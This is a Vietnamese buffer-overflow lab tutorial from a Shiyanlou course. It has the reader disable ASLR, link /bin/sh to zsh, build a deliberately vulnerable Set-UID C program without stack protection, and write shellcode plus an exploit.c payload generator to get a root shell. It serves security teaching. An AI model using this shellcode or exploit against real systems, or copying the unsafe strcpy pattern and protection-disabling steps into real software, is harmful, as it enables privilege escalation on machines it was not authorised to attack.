Thực hành Lỗ hổng Buffer Overflow

Thí nghiệm này được thực hiện trên hệ điều hành Ubuntu Linux 64-bit, trong môi trường đám mây của实验楼 (Shiyanlou).

Giới thiệu

Lỗ hổng bộ đệm tràn (Buffer Overflow) xảy ra khi một chương trình cố gắng ghi dữ liệu vào một bộ đệm (buffer) vượt quá kích thước đã được cấp phát cố định. Lỗ hổng này có thể bị kẻ tấn công lợi dụng để thay đổi luồng điều khiển của chương trình, thậm chí thực thi các đoạn mã tùy ý. Lỗ hổng này xuất hiện do sự tạm thời đóng cửa giữa bộ đệm dữ liệu và địa chỉ trả về; việc tràn sẽ gây ra việc ghi đè lên địa chỉ trả về.

Chuẩn bị

实验楼 (Shiyanlou) cung cấp hệ điều hành Ubuntu 64-bit, nhưng để thuận tiện quan sát các câu lệnh assembly, chúng ta sẽ thực hiện các thao tác trong môi trường 32-bit. Vì vậy, trước khi bắt đầu thí nghiệm, cần thực hiện một số bước chuẩn bị.

Nhập lệnh để cài đặt các gói phần mềm cần thiết để biên dịch chương trình C 32-bit:

Xem mã lệnh
sudo apt-get update
sudo apt-get install -y lib32z1 libc6-dev-i386 lib32readline6-dev
sudo apt-get install -y python3.6-gdbm gdb

Các bước thực hiện

  1. Trong Ubuntu và một số hệ điều hành Linux khác, cơ chế ngẫu nhiên hóa không gian địa chỉ (Address Space Layout Randomization - ASLR) được sử dụng để ngẫu nhiên hóa địa chỉ ban đầu của heap và stack. Điều này làm cho việc đoán địa chỉ bộ nhớ một cách chính xác trở nên rất khó khăn, và đoán địa chỉ bộ nhớ là chìa khóa của tấn công tràn bộ đệm. Vì vậy, trong thí nghiệm này, chúng ta sẽ sử dụng lệnh sau để tắt tính năng này:

    sudo sysctl -w kernel.randomize_va_space=0
    
  2. Để phòng chống các cuộc tấn công tràn bộ đệm và các cuộc tấn công khác lợi dụng chương trình shell, nhiều chương trình shell tự động từ bỏ đặc quyền của chúng khi được gọi. Do đó, ngay cả khi bạn có thể lừa một chương trình Set-UID gọi một shell, bạn cũng không thể giữ được quyền root trong shell đó. Biện pháp bảo vệ này được triển khai trong /bin/bash.

    Trong hệ thống Linux, /bin/sh thực tế là một liên kết tượng trưng (symbolic link) đến /bin/bash hoặc /bin/dash. Để tái hiện tình huống trước khi biện pháp bảo vệ này được triển khai, chúng ta sẽ sử dụng một chương trình shell khác (zsh) thay thế cho /bin/bash. Các lệnh sau đây mô tả cách thiết lập chương trình zsh:

    Xem mã lệnh
    sudo su
    cd /bin
    rm sh
    ln -s zsh sh
    exit
    
  3. Nhập lệnh linux32 để vào môi trường Linux 32-bit.
  4. Thông thường, tràn bộ đệm sẽ gây ra sự sụp đổ của chương trình. Trong chương trình, dữ liệu tràn sẽ ghi đè lên địa chỉ trả về. Nếu dữ liệu ghi đè lên địa chỉ trả về là một địa chỉ khác, chương trình sẽ nhảy đến địa chỉ đó. Nếu địa chỉ đó chứa một đoạn mã được thiết kế cẩn thận để thực hiện các chức năng khác, đoạn mã đó được gọi là shellcode.

    Xem xét đoạn mã sau:

    Xem mã lệnh
    #include <stdio.h>
    int main()
    {
        char *tham_so[2];
        tham_so[0] = "/bin/sh";
        tham_so[1] = NULL;
        execve(tham_so[0], tham_so, NULL);
    }
    

    Shellcode cho thí nghiệm này là phiên bản assembly của đoạn mã trên: \x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

  5. Tạo một tệp tin stack.c trong thư mục /tmp và nhập đoạn mã sau:

    Xem mã lệnh
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    
    int ham_bo_dem(char *chuoi)
    {
        char bo_dem[12];
    
        /* Câu lệnh sau có vấn đề về tràn bộ đệm */
        strcpy(bo_dem, chuoi);
    
        return 1;
    }
    
    int main(int argc, char **argv)
    {
        char chuoi[517];
        FILE *tep_tin_xau;
    
        tep_tin_xau = fopen("badfile", "r");
        fread(chuoi, sizeof(char), 517, tep_tin_xau);
        ham_bo_dem(chuoi);
    
        printf("Trả về bình thường
    ");
        return 1;
    }
    

    Qua đoạn mã, có thể thấy chương trình sẽ đọc một tệp tin có tên "badfile" và nạp nội dung của tệp tin đó vào "buffer".

  6. Biên dịch chương trình và đặt cờ Set-UID. Lệnh như sau:

    Xem mã lệnh
    sudo su
    gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
    chmod u+s stack
    exit
    

    Bộ biên dịch GCC có một cơ chế bảo vệ ngăn xếp để ngăn chặn tràn bộ đệm, vì vậy khi biên dịch mã, chúng ta cần sử dụng --fno-stack-protector để tắt cơ chế này. Cờ -z execstack được sử dụng để cho phép thực thi trên ngăn xếp. Tham số -g để có thể gỡ lỗi tệp thực thi đã biên dịch bằng gdb.

  7. Mục tiêu của chúng ta là tấn công chương trình có lỗ hổng vừa tạo và lấy được quyền root thông qua cuộc tấn công.

    Tạo một tệp tin exploit.c trong thư mục /tmp và nhập nội dung sau:

    Xem mã lệnh
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    char shellcode[] =
        "\x31\xc0" // xorl %eax,%eax
        "\x50"     // pushl %eax
        "\x68""//sh" // pushl $0x68732f2f
        "\x68""/bin"     // pushl $0x6e69622f
        "\x89\xe3" // movl %esp,%ebx
        "\x50"     // pushl %eax
        "\x53"     // pushl %ebx
        "\x89\xe1" // movl %esp,%ecx
        "\x99"     // cdq
        "\xb0\x0b" // movb $0x0b,%al
        "\xcd\x80" // int $0x80
        ;
    
    void main(int argc, char **argv)
    {
        char bo_dem[517];
        FILE *tep_tin_xau;
    
        /* Khởi tạo bộ đệm với 0x90 (lệnh NOP) */
        memset(&bo_dem, 0x90, 517);
    
        /* Bạn cần điền nội dung phù hợp vào bộ đệm ở đây */
        strcpy(bo_dem,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");   // Bốn byte tại vị trí bù trong bộ đệm sẽ ghi đè lên địa chỉ shellcode
        strcpy(bo_dem + 100, shellcode);   // Sao chép shellcode vào bộ đệm, độ lệch được đặt là 100
    
        /* Lưu nội dung vào tệp tin "badfile" */
        tep_tin_xau = fopen("./badfile", "w");
        fwrite(bo_dem, 517, 1, tep_tin_xau);
        fclose(tep_tin_xau);
    }
    

    Lưu ý trong đoạn mã trên, \\x??\\x??\\x??\\x?? cần được điền bằng địa chỉ của shellcode trong bộ nhớ, vì sau khi tràn, vị trí này chính xác là nơi ghi đè địa chỉ trả về. Câu lệnh strcpy(bo_dem + 100, shellcode); cho chúng ta biết shellcode được lưu ở vị trí bo_dem + 100. Phần tiếp theo sẽ giải thích chi tiết cách lấy địa chỉ chúng ta cần thêm vào.

  8. Bây giờ chúng ta cần lấy địa chỉ của shellcode trong bộ nhớ. Nhập lệnh để vào gdb:

    gdb stack
    disass main
    

    Kết quả sẽ hiển thị địa chỉ của các lệnh. esp chính là địa chỉ bắt đầu của str, vì vậy chúng ta sẽ đặt breakpoint tại địa chỉ 0x080484ee.

    Xem mã lệnh
    # Đặt breakpoint
    b *0x080484ee
    r
    i r $esp
    

    Địa chỉ cuối cùng thu được 0xffffcfb0 chính là địa chỉ của str.

    Nhấn phím q rồi nhấn y để thoát khỏi chế độ gỡ lỗi.

    Dựa vào câu lệnh strcpy(bo_dem + 100, shellcode);, chúng ta tính toán địa chỉ của shellcode là 0xffffcfb0 + 0x64 = 0xffffd014.

    Trong thực tế, địa chỉ của bạn có thể khác với địa chỉ ở đây, bạn cần tính toán dựa trên kết quả thực tế của mình.

  9. Bây giờ, sửa đổi tệp tin exploit.c, thay thế \\x??\\x??\\x??\\x?? bằng kết quả đã tính toán \\x14\\xd0\\xff\\xff, lưu ý thứ tự là ngược lại.

    Sau đó, biên dịch exploit.c.

  10. Chạy chương trình tấn công exploit trước, sau đó chạy chương trình có lỗ hổng stack và quan sát kết quả:

    Có thể thấy, thông qua cuộc tấn công, đã lấy được quyền root.

Thẻ: buffer-overflow C assembly linux shellcode

Đăng vào ngày 12 tháng 6 lúc 04:48